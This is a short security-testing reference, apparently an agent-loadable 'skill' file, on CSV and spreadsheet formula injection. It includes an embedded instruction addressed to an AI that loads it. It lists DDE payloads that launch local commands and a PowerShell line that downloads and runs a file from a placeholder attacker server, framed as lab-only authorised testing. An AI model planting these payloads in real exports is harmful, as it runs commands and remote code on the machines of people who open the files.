csv-formula-injection

1# SKILL: CSV Formula Injection
2 
3> **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
4 
5## 0. QUICK START
6 
7Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
8 
9```text
10=
11+
12-
13@
14```
15 
16Test cells may look like:
17 
18```csv
19name,value
20test,=1+1
21test,+1+1
22test,-1+1
23test,@SUM(1+1)
24```
25 
26**Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
27 
28---
29 
30## 1. DDE INJECTION (EXCEL / LIBREOFFICE)
31 
32Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction:
33 
34```text
35DDE("cmd";"/C calc";"!A0")A0
36```
37 
38```text
39@SUM(1+1)*cmd|' /C calc'!A0
40```
41 
42```text
43=2+5+cmd|' /C calc'!A0
44```
45 
46```text
47=cmd|' /C calc'!'A1'
48```
49 
50PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
51 
52```text
53=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
54```
55 
56---
57 
58## 2. OBFUSCATION
59…